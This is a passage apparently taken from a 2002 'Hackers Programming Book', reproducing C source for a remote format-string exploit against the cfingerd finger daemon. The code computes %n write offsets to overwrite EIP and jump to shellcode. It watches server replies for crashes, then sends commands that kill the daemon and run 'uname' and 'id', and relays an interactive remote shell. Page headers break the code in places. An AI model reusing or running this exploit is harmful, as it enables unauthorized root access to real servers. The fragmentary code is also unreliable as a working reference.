    alarm(30);

    read(cserver,response,sizeof(response));if (strstr(response,"SIGILL")){

    printf("Illegal Instruction\r");fflush(stdout);close(cserver);exit(0);

    }if (strstr(response,"SIGSEGV")){

    printf("Segmentation Fault.\r");fflush(stdout);close(cserver);exit(0);

    }

    //you might add strings here..if (strstr(response,"Sorry, that user doesn't exist") ||strstr(response,"Debian GNU/Linux"))

    {printf("server not crashed.\r");fflush(stdout);close(cserver);exit(0);

    }}//close(cserver);

    }

    /* */void chld_timeo()

    { alarm(0);signal(SIGALRM, SIG_DFL);printf("EIP FOUND! - SHELLCODE ADDR OK!\n");fflush(stdout);close(cserver);exit(1);

    }

    void chld_timeoo(){

    alarm(0);signal(SIGALRM, SIG_DFL);printf("shellcode executed!\n");fflush(stdout);

    close(cserver);exit(2);}/* */

    int rootsox(int sox){

    fd_set rset;int n;char buffer[4096];

    Copyright 2002 Flavio Bernardotti [email protected]

  • 7/31/2019 HackerProgrammingBook Part 17

    38/39

    Hackers Programming Book

    /* we kill the cfingerd in eternal loop and we run other nice commands ;)*/char *command="/bin/killall -9 cfingerd ; /bin/uname -a ; /usr/bin/id\n";

    send(sox, command, strlen(command), 0);

    for (;;) {

    FD_ZERO (&rset);FD_SET (sox, &rset);FD_SET (STDIN_FILENO, &rset);

    n = select(sox + 1, &rset, NULL, NULL, NULL);if(n

  • 7/31/2019 HackerProgrammingBook Part 17

    39/39

    Hackers Programming Book

    mmm++;}

    if (mmm == 185){

    printf("?!.. we cant find the first character of our shellcode!#@\n");exit(0);

    }

    snprintf(temp,sizeof(temp),"%p",types[sel].shaddr+types[sel].offset+off);sscanf(temp,"0x%2x%2x%2x%2x",&a,&b,&c,&d);pas1 = d - (16 * 2);pas1 = cn(pas1);pas2 = c - d;pas2 = cn(pas2);pas3 = b - c;pas3 = cn(pas3);pas4 = a - b;pas4 = cn(pas4);

    if(what)addr = glob;

    elseglob = addr;

    printf("eip: %p - shellcode addr: %p -",addr,types[sel].shaddr+types[sel].offset+off);

    fflush(stdout);

    for (i=0 ; i < 4 ; i++){

    snprintf(atemp,sizeof(atemp),"%s",&addr);strncat(buf, atemp, 4);addr++;

    }

    snprintf(bufx,sizeof(bufx),"%%.%du%%%d$n%%.%du%%%d$n%%.%du%%%d$n%%.%du%%

    %d$n",pas1,(types[sel].fsc),pas2,(types[sel].fsc)+1,pas3,(types[sel].fsc)+2,pas4,types[sel].fsc+3);strcat(buf,bufx);bzero(pbuf,sizeof(pbuf));strncpy(pbuf,buf,sizeof(pbuf));

    }

    cn(unsigned long addr){

    char he[128];

    snprintf(he,sizeof(he),"%d",addr);if (atoi(he) < 8)

    addr = addr + 256;

    return addr;}